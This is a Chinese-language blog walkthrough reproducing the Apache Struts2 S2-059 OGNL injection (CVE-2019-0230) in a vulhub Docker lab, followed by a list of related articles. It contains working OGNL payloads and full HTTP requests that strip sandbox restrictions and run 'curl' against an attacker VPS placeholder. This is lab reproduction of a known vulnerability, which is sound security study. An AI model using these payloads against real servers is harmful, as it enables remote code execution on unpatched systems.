【vulhub】Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
前言
Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本: Struts 2.0.0 - Struts 2.5.20
一、启动靶机
docker-compose build
docker-compose up -d
二、构造payload
view-source:http://192.168.150.146:8080/index.action?id=%25{(223*223)}
存在漏洞
三、漏洞利用
payload1:
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
先发送如下请求:
请求1:
POST /index.action HTTP/1.1
Host: 192.168.150.146:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; cZZ_visitedfid=2; cZZ_sid=i4JJSc; JSESSIONID=node01muhk455eaqn41432r2whyt6ta0.node0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 195id=%25{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
payload2:
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://VPS_IP/Hacker'))}
发送请求2:
POST /index.action HTTP/1.1
Host: 192.168.150.146:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; cZZ_visitedfid=2; cZZ_sid=i4JJSc; JSESSIONID=node01muhk455eaqn41432r2whyt6ta0.node0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 195id=%25{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://VPS_IP/Hacker'))}
四、验证
tail -n 1 -f /var/log/apache2/access.log
参考:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-cn.md
【vulhub】Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)相关推荐
- Struts2被曝远程代码执行漏洞;叮咚买菜抢菜工具;find替代方案…|叨资讯
点击关注强哥,还有100多G的面试资料等你来拿 哈喽,大家好,我是强哥. Struts2被曝远程代码执行漏洞:Facebook开源文本编辑器库Lexical:PyCharm 2022.1 正式发布:一 ...
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- CVE-2021-1675: Windows Print Spooler远程代码执行漏洞
** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...
- 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...
- CVE-2018-8174 IE浏览器远程代码执行漏洞
0x00漏洞简介 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个漏洞的首次在apt方面的应用 原文地址:http://www.4hou.c ...
- Splunk Enterprise远程代码执行漏洞(CVE-2022-43571)安全风险通告
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 Splunk Enterprise是机器数据的引擎.使用Splunk可收集.索引和利用所有应用程序.服务器和设备生 ...
- struts2远程代码执行漏洞合集
声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...
- linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)
背景介绍 近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-045,S2-046),并定级为高危漏洞. Struts2 的使用范围 ...
- apache struts linux,Apache Struts2远程代码执行漏洞(S2-053)(CVE-2017-12611)
Apache Struts2远程代码执行漏洞(S2-053)(CVE-2017-12611) 发布日期:2017-06-23 更新日期:2017-09-11 受影响系统: Apache Group S ...
- Apache Struts2远程代码执行漏洞(S2-019)复现
动态方法调用是一种已知会施加可 Apache Struts2远程代码执行漏洞(S2-019)复现能的安全漏洞的机制,但到目前为止,它默认启用,警告用户应尽可能将其关闭. S2-019的poc,是deb ...
最新文章
- 《编码:隐匿在计算机软硬件背后的语言(美)》读书笔记一
- Oracle 表空间信息
- BlendMode类
- apache启用gzip压缩方法
- 图解Golang的GC算法
- 【转载】Latex对中文的支持 模版
- SQLite 之 C#版 System.Data.SQLite 使用
- 网络协议 终章 - GTP 协议:复杂的移动网络
- hellow windows
- 最新表情包小程序+前后端去授权版/最火表情包小程序源码
- 博客园博文爬虫案例效果
- Makefile文件
- Android代码设置APN
- python解决直线过网格问题_numpy_matplotlib
- ObjectArx 如何替换CAD本身的命令
- 弹性计算双周刊 第 6 期
- 软件设计师考试(2018下半年)
- unsigned long long 与 long long
- java 栈 先进先出_堆是先进先出,栈是先进后出
- antv 官方文档参考 ywy(基础)